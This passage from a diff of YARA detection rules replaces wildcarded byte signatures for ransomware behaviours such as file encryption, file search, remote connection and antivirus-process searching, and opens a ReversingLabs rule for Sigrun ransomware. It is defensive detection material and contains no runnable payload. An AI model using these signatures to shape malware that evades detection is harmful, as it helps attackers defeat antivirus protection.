+            ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D3 F6 85 ?? ??
+            ?? ?? ?? 74 ?? 83 7D ?? ?? 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D3 8B 55 ?? 8B CE 6A ?? 57 FF 75 ?? FF 75 ?? E8 ?? ??
+            ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D3 8B 55 ?? 8B CE 6A ?? 57 FF 75
+            ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 07 6A ?? 68 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 89 45 ?? 8B 47 ?? 6A ?? 89 45 ?? FF 15 ?? ?? ?? ?? 56 8B D8 68 ?? ?? ?? ??
+            53 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B CB E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 6A ??
+            53 FF 15 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 8B 45 ?? 8B 4D ?? EB ?? 83 BD ?? ?? ??
+            ?? ?? 0F 57 C0 66 0F 13 45 ?? 72 ?? 51 FF 75 ?? 8B CB E8 ?? ?? ?? ?? 83 C4 ?? 89 55
+            ?? EB ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 68 ?? ?? ?? ?? 6A ?? 53 89 45 ?? FF 15 ?? ?? ??
+            ?? 8B 45 ?? 8B 4D ?? 01 0F 11 47 ?? 8B 45 ?? 3B 47 ?? 77 ?? 72 ?? 8B 45 ?? 3B 07 73
+            ?? 8B 45 ?? FF 00 8B 1D ?? ?? ?? ?? 8B 45 ?? 33 C9 66 89 08 8D 85 ?? ?? ?? ?? 50 FF
+            75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 33
+            C0 5B 8B E5 5D C3
         }
-		$remote_connection_p1 = {
-            55 8B EC 83 EC ?? 53 33 DB 8D 45 ?? 89 5D ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            8B 45 ?? 8B 4D ?? 56 57 50 51 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B 55 ?? 8B
-            4D ?? 52 57 E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 8B 45 ?? 6A
-            ?? 50 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B D6 E8 ?? ?? ?? ?? 85 C0 74 ??
-            C7 45 ?? ?? ?? ?? ?? 56 FF D3 8D 4D ?? 51 8D 55 ?? 52 6A ?? 57 C7 45 ?? ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 57 8B F0 FF D3 85 F6 74 ?? 8B 45 ?? 50 FF D3
-            8B 5D ?? 83 7D ?? ?? 8B 35 ?? ?? ?? ?? 74 ?? 8B 4D ?? 8B 15 ?? ?? ?? ?? 51 6A ?? 52
-            FF D6 8B 45 ?? 85 C0 74 ?? 50 A1 ?? ?? ?? ?? 6A ?? 50 FF D6 5F 5E 8B C3 5B 8B E5 5D
-            C3 8B C3 5B 8B E5 5D C3
+		$crypt_files_v2_1 = {
+            FF 15 ?? ?? ?? ?? 33 D2 89 44 24 ?? 89 44 24 ?? 8D 0C B7 8D 0C CD ?? ?? ?? ?? 85 C0
+            74 ?? 3B CB 73 ?? 8D 3C 01 89 44 24 ?? 89 7C 24 ?? 8B D1 EB ?? 89 54 24 ?? 8B F8 8B
+            4D ?? 8D 34 CD ?? ?? ?? ?? 85 C0 74 ?? 8D 0C 32 89 4C 24 ?? 3B CB 73 ?? 8B 54 24 ??
+            8B CF 89 7C 24 ?? 03 FE 89 7C 24 ?? EB ?? 33 C9 89 4C 24 ?? 8B 74 24 ?? 85 C0 74 ??
+            8D 04 F5 ?? ?? ?? ?? 03 C2 3B C3 72 ?? 33 FF 89 7C 24 ?? 8B 1D ?? ?? ?? ?? 85 C9 0F
+            84 ?? ?? ?? ?? 8B 55 ?? 8B 1D ?? ?? ?? ?? 8D 04 12 89 44 24 ?? 8D 44 24 ?? 50 51 68
+            ?? ?? ?? ?? 52 FF 75 ?? FF D3 8D 04 36 89 44 24 ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? ??
+            56 FF 74 24 ?? FF D3 8B 1D ?? ?? ?? ?? 57 FF D3 FF 74 24 ?? 8B F0 FF D3 6A ?? 83 C6
+            ?? 03 C6 68 ?? ?? ?? ?? 50 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 8B F0 C7
+            44 24 ?? ?? ?? ?? ?? 89 74 24 ?? 89 74 24 ?? FF D3 40 85 F6 74 ?? 3B 44 24 ?? 73 ??
+            8D 0C 06 89 44 24 ?? 89 4C 24 ?? 89 74 24 ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 57 FF D3
+            40 85 F6 74 ?? 03 44 24 ?? 3B 44 24 ?? 72 ?? C7 44 24 ?? ?? ?? ?? ?? FF 74 24 ?? 33
+            F6 FF D3 85 C0 74 ?? 8B 4C 24 ?? 8B 7C 24 ?? 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ??
+            74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 7C 24 ?? 57 33 F6
+            FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C 24 ?? EB ?? 8D 49 ?? 8A 04 3E 3C ?? 74 ?? 3C ??
+            74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 74 24 ?? 8B 1D ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D3 56 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 8D 3C 46 57 E8 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 68 ?? ?? ?? ?? 57 FF D3 68 ?? ?? ?? ?? 57 FF D3 68
+            ?? ?? ?? ?? 57 FF D3 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF D6 68
+            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 57 FF D3 57 FF 15 ?? ?? ?? ??
+            FF 74 24 ?? 8D 34 47 FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 57 FF 15 ?? ?? ?? ?? FF 74 24 ?? 8D 34 47
+            FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33
+            C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
+            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? 66 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? 58 58 8D 44 24 ?? 50 57 FF
+            D3 8B 5C 24 ?? 8B 35 ?? ?? ?? ?? 53 FF D6 6A ?? C1 E0 ?? 83 C0 ?? 68 ?? ?? ?? ?? 50
+            6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B F8 53 89 7C 24 ?? FF D6 8D 04 C5 ?? ?? ?? ??
+            85 FF 74 ?? 3B 44 24 ?? 72 ?? 33 FF 53 FF D6 8B 0D ?? ?? ?? ?? 8B F0 89 74 24 ?? 85
+            C9 74 ?? 68 ?? ?? ?? ?? 6A ?? 51 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 6A ?? 68 ?? ?? ?? ??
+            53 FF 15 ?? ?? ?? ?? 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 74 ??
+            53 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 5C 24 ?? 03 F6 8B D6 8B CB E8 ??
+            ?? ?? ?? 8B 4C 24 ?? 8D 04 CD ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 50 57 68 ?? ?? ??
+            ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 57 FF D3
+            6A ?? 68 ?? ?? ?? ?? 8D 70 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 57 89 44 24 ?? FF D3 8D 48
+            ?? 8B 44 24 ?? 85 C0 74 ?? 89 44 24 ?? 3B CE 72 ?? C7 44 24 ?? ?? ?? ?? ?? 57 33 F6
+            FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 41
+            89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 74 24 ?? 56 FF D3 50 FF 74 24 ??
+            6A ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 7C 24 ?? 8D 54 24 ?? 6A ?? 57 8B
+            CE C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 1D ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 50 8B 44 24 ?? 50 FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF D3 68 ?? ??
+            ?? ?? 6A ?? FF 74 24 ?? FF D3 33 F6 EB ?? 8B 4C 24 ?? 85 C9 74 ?? 8B 45 ?? 89 08 8B
+            44 24 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 FF D3 68 ?? ?? ?? ?? 6A ?? FF 74
+            24 ?? FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF D3 EB ?? 8B 7C 24 ?? 83 7C 24 ?? ??
+            75 ?? 68 ?? ?? ?? ?? 6A ?? 57 FF D3 BE ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 74 24 ??
+            FF D3 8D 4C 24 ?? E8 ?? ?? ?? ?? 5F 8B C6 5E 5B 8B E5 5D C3
         }
-		$remote_connection_p2 = {
-            55 8B EC 83 EC ?? 56 57 68 ?? ?? ?? ?? 33 FF 57 57 57 57 FF 15 ?? ?? ?? ?? 8B F0 85
-            F6 74 ?? 8B 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? 6A ?? 89 45 ?? 89 45 ?? 8D 45 ?? 50 6A ??
-            56 C7 45 ?? ?? ?? ?? ?? FF D7 6A ?? 8D 4D ?? 51 6A ?? 56 FF D7 6A ?? 8D 55 ?? 52 6A
-            ?? 56 FF D7 8B 45 ?? 8B 4D ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 50 51 56 FF 15 ?? ?? ??
-            ?? 8B F8 85 FF 75 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 8B E5 5D C3
+		$remote_connection_v2_1 = {
+            53 89 45 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 3C 45 ?? ??
+            ?? ?? 8D 47 ?? 50 6A ?? FF D6 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B D8 FF D6
+            89 45 ?? 85 DB 74 ?? 8D 47 ?? 3B F8 73 ?? 8B F3 EB ?? 33 F6 FF 75 ?? 56 FF 15 ?? ??
+            ?? ?? F3 0F 6F 05 ?? ?? ?? ?? 56 F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45
+            ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3
+            0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? FF 15 ??
+            ?? ?? ?? 8D 45 ?? 33 FF 50 FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 68 ?? ?? ?? ?? 83 EC ??
+            68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 50 56 FF 75 ?? 8B 75 ?? 8D 4D ?? 56 E8
+            ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? BF ?? ?? ?? ?? 74 ?? 8B 4D ?? 8D 55 ?? C7 45 ??
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 85 C0 74 ?? 8B 4D ?? 89 01 EB ?? 33
+            FF 68 ?? ?? ?? ?? 6A ?? 56 8B 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF
+            D6 68 ?? ?? ?? ?? 6A ?? 53 FF D6 8B 45 ?? 85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? 8B C7 5F
+            5E 5B 8B E5 5D C3
         }
-		$remote_connection_p3 = {
-            55 8B EC 83 EC ?? 53 56 8B F0 33 C0 89 06 57 89 46 ?? 89 46 ?? 6A ?? 50 89 46 ?? 8D
-            45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 6A ?? BF ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 89 7D ?? 89 7D ?? 89 7D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
-            ?? ?? ?? 8B 4D ?? 8B 1D ?? ?? ?? ?? 8D 4C 09 ?? 33 C0 85 C9 74 ?? 8B 15 ?? ?? ?? ??
-            51 50 52 FF D3 89 06 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 51 52 50 E8 ?? ?? ??
-            ?? 8B 06 8B 55 ?? 33 C9 66 89 0C 50 8B 4D ?? 83 C4 ?? 85 C9 74 ?? 8B 45 ?? 66 83 38
-            ?? 75 ?? 83 45 ?? ?? 2B CF 89 4D ?? 85 C9 75 ?? 8B 55 ?? 8D 7C 0A ?? 8D 54 3F ?? 33
-            C0 85 D2 74 ?? 52 50 A1 ?? ?? ?? ?? 50 FF D3 8B 4D ?? 89 46 ?? 85 C0 74 ?? 51 8B 4D
-            ?? 51 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 4E ?? 52 8B 55 ?? 50 8D 44 51
-            ?? 50 E8 ?? ?? ?? ?? 8B 46 ?? B9 ?? ?? ?? ?? 66 89 08 33 D2 66 89 14 78 66 8B 45 ??
-            83 C4 ?? 83 7D ?? ?? 66 89 46 ?? 75 ?? 83 4E ?? ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D
-            C3 8B 36 85 F6 74 ?? 8B 0D ?? ?? ?? ?? 56 6A ?? 51 FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B
-            8B E5 5D C3
+		$search_antivirus_processes_v4_1_2 = {
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B F8 53 6A ??
+            89 7D ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 89 1E 83 FF ?? 74 ?? 56 57 FF 15 ?? ??
+            ?? ?? 33 DB 8D 7E ?? 57 FF B4 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 76 ??
+            50 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? FF 75 ??
+            FF 15 ?? ?? ?? ?? 43 83 FB ?? 72 ?? 8B 7D ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 85
+            F6 74 ?? 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5
+            5D C3
         }
-		$encrypt_files_1 = {
-            8B C3 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 57 8B F8 8D 4C 3F ?? 33
-            C0 85 C9 74 ?? 51 50 A1 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8B F0 8B CB
-            2B F3 8D 9B ?? ?? ?? ?? 0F B7 11 66 89 14 0E 83 C1 ?? 66 85 D2 75 ?? B9 ?? ?? ?? ??
-            8D 34 3F 2B F1 03 F0 EB ?? 8D 49 ?? 0F B7 11 66 89 14 0E 83 C1 ?? 66 85 D2 75 ?? 5E
-            5F C3
+		$find_files_v4_1_2 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39
+            7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9
+            ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ??
+            89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 56 FF 15 ??
+            ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 ?? BF ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ??
+            8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? F6
+            44 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ??
+            ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? ?? EB ?? 68 ?? ??
+            ?? ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE E8 ?? ?? ?? ?? 59
+            8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85
+            ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B C7 5F 5E
+            5B 8B E5 5D C3
         }
-		$encrypt_files_2 = {
-            83 E8 ?? 53 56 57 8B DA 74 ?? 48 74 ?? 5F 5E 33 C0 5B C3 53 51 33 F6 E8 ?? ?? ?? ??
-            83 C4 ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8B F0 33 FF 85 F6 74 ?? 56 53 FF 15 ?? ?? ?? ??
-            85 C0 74 ?? BF ?? ?? ?? ?? A1 ?? ?? ?? ?? 56 6A ?? 50 FF 15 ?? ?? ?? ?? 8B F7 5F 8B
-            C6 5E 5B C3 53 51 33 F6 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8B F0 33
-            FF 85 F6 74 ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? BF ?? ?? ?? ?? 8B 0D ?? ?? ?? ??
-            56 6A ?? 51 FF 15 ?? ?? ?? ?? 8B F7 5F 8B C6 5E 5B C3 ?? ?? 55 8B EC 8B 4D ?? 8B 41
-            ?? 83 F8 ?? 0F 8F ?? ?? ?? ?? F7 45 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 40 53 89 41 ??
-            8B 45 ?? 83 E8 ?? 56 57 74 ?? 48 0F 85 ?? ?? ?? ?? 8B 7D ?? 33 F6 8D 9B ?? ?? ?? ??
-            8B 86 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 83
-            FE ?? 72 ?? 8B 5D ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8B 4D ?? 51 56 E8 ?? ?? ?? ??
-            83 C4 ?? EB ?? 8B 41 ?? 83 E8 ?? 74 ?? 48 75 ?? 8B 75 ?? E8 ?? ?? ?? ?? EB ?? 8B 75
-            ?? 8B C6 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 85 C0 74 ?? 8B 5D ?? 8B FE E8 ?? ?? ?? ??
-            8B F0 85 F6 74 ?? 8B 7D ?? 8B 47 ?? 8B 0F 8B D6 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 47 ??
-            85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B 45 ?? FF 48 ?? 5F 5E 5B B8
-            ?? ?? ?? ?? 5D C3
+		$crypt_files_v4_1_2 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 89 4D ?? 33 DB 57 B9 ?? ?? ?? ?? 89 5D ?? 8B F2 E8
+            ?? ?? ?? ?? 8B F8 8D 55 ?? 56 57 8D 4D ?? 89 7D ?? E8 ?? ?? ?? ?? 59 59 85 C0 0F 84
+            ?? ?? ?? ?? 53 53 6A ?? 53 53 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE
+            ?? 0F 84 ?? ?? ?? ?? 6A ?? 58 88 5D ?? 48 75 ?? 51 51 8D 55 ?? 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 89 45 ?? B9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 89 5D ?? 89
+            5D ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 89 5D ?? 53 8D
+            45 ?? 50 68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D
+            ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 45 ?? 81 F9 ?? ?? ?? ?? 6A ?? 5A 0F 42 C2 01 8F ?? ??
+            ?? ?? 8B 55 ?? 8D 8D ?? ?? ?? ?? 11 9F ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 FF 75 ?? 89
+            45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 53 52 50 56 FF 15 ?? ?? ??
+            ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 53 8D 45 ?? 50 FF 75 ?? FF 75 ?? 56 FF 15 ?? ?? ??
+            ?? 85 C0 75 ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 53 8D 45 ?? 50 FF 75 ?? 57 56 FF 15
+            ?? ?? ?? ?? 85 C0 74 ?? 8B 7D ?? 8B 4D ?? 85 C9 0F 84 ?? ?? ?? ?? 53 8D 45 ?? 50 68
+            ?? ?? ?? ?? 57 56 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B D8 E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ??
+            ?? ?? 56 FF 15 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 5D C3 33 C0 8D
+            48 ?? 89 4D ?? EB
         }
-		$encrypt_files_3 = {
-            8B C6 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 83 C0 ?? 85 C0 7E ?? EB
-            ?? 8D 49 ?? 66 83 3C 46 ?? 74 ?? 48 85 C0 7F ?? 33 C0 C3 8D 44 46 ?? 85 C0 74 ?? 83
-            C0 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? C3
+		$remote_connection_v4_1_2 = {
+            55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3
+            8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ??
+            ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ??
+            83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68
+            ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF
+            75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 FF 47 EB ?? FF
+            15 ?? ?? ?? ?? 8B 45 ?? 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B
+            E5 5D C2
         }
-
-	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_*)) and ( all of ($remote_connection_p*))
-}
-rule REVERSINGLABS_Win32_Ransomware_Sigrun : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Sigrun ransomware."
-		author = "ReversingLabs"
-		id = "fa627192-ed80-5115-a028-014f67f4571d"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Sigrun.yara#L1-L111"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "ea29ec64cdfc0c714fe0acdce5878cb1302dd5aa916811121c644948ce275935"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Sigrun"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$find_files = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 83 7D ?? ?? 53 56 57 8B DA C7 44 24 ?? ?? ?? ??
-            ?? 8B F1 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? 89 7C 24 ?? 85 C0 75 ?? 85 FF
-            75 ?? 5F 5E 5B 8B E5 5D C3 C7 44 24 ?? ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ??
-            A1 ?? ?? ?? ?? 89 44 24 ?? A1 ?? ?? ?? ?? 89 44 24 ?? 0F B7 06 66 89 44 24 ?? 83 F8
-            ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56
